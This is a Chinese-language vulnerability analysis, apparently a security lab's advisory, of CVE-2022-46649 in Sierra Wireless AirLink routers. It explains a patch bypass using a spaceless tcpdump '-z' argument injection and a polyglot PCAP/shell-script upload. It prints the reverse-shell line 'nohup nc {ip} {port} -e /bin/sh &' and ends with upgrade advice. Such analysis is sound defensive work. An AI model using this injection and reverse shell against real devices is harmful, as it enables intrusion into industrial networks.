CVE-2022-46649:Sierra Wireless AirLink IIoT RCE漏洞分析

CVE-2022-46649:Sierra Wireless AirLink IIoT RCE漏洞分析

时间:2023-03-02 作者:安帝科技-CSX安全实验室


Sierra Wireless AirLink系列无线路由器和调制解调器为客户提供适用于各种工业、企业和车载应用的解决方案。具有有效ACEManager凭据和ACEManager界面访问权限的用户可以在设备上执行任意Shell命令。

Part1 漏洞状态

Part2 漏洞描述

Part3 漏洞分析

攻击者可以通过利用ACEManager Web服务对/cgi-bin/iplogging.cgi请求中的“-z”命令(负责向cpdump提供postrotate-command)不正确地处理进行命令注入。这个漏洞被编号为CVE-2018-4061,CVE-2022-46649则是基于此漏洞补丁的绕过。
CVE-2018-4061漏洞补丁对参数的过滤逻辑为删除任何“-z”参数后包括空格、制表符、换页符、垂直制表符的命令,如:“tcpdump -z reboot”。

对此可以进行绕过,只需使用没有任何间距的命令。如:“tcpdump -zreboot”,发送以下POST请求可以重启设备:

但以上操作只能执行有限的命令,可以继续通过利用“-z”参数来反弹Shell。
通过检查tcpdump源代码,发现其使用“execlp(any_binary, filename)”执行 -z binary命令。在本例中,文件名被硬编码为“/tmp/iplogging.pcap”,这就意味着在攻击中仅能利用目标设备已存在的文件。

为了绕过这种限制,可以将恶意数据写入/tmp/iplogging.pcap,使该文件既是有效的PCAP文件,也同样使是一个Shell脚本,同时可以将sh作为postrotate-command。通过将恶意数据直接传输到适当的接口,可以直接插入到目标PCAP文件中,但可能会受其他通信的影响,因此另一种解决方案是使用“/cgi-bin/iplogging_upload.cgi”请求。
恶意PCAP文件必须满足以下要求:
① 通过 tcpdump 的验证;
② 是一个有效的Shell脚本;
③ 能够触发tcpdump的循环逻辑(文件大小超过1MB)。
使用“iplogging_upload.cgi”上传恶意PCAP文件,该文件将保存到固定路径:“/tmp/iplogging_params.tcp”。

请求“iplogging.cgi”页面,执行带有以下参数的tcpdump命令:

“-r /tmp/iplogging_params.tcp”:指定tcpdump从成功上传的恶意PCAP文件中流量。
“-zsh”:将“post rotate command”设置为sh命令。当tcpdump轮换PCAP输出文件时,将执行sh命令。
“-C 1”:文件大小超过1MB时,轮换输出文件。
请求发出之后,tcpdump将读取恶意PCAP文件“/tmp/iplogging_params.tcp”并将其写入预定义的输出文件“/tmp/iplogging.pcap”。一旦其数据达到1MB,tcpdump将通过-z参数对iplogging.pcap文件执行sh命令。此时,构造的“nohup nc {ip} {port} -e /bin/sh &”已被写入iplogging.pcap,/bin/sh将逐行读取文件,将PCAP文件头作为“坏行”进行忽略,进而执行反弹Shell命令。
成功反弹Shell。

Part4 缓解建议

将MP70、RV50、RV50x、RV55、LX 40、LX60升级至ALEOS 4.16.0或更高版本。
将ES450、GX450升级到ALEOS 4.9.8(如果可用)或更高版本 。
————————————————
获取更多情报
联系我们,获取更多漏洞情报详情及处置建议,让企业远离漏洞威胁。
电话:18511745601
邮箱:shiliangang@andisec.com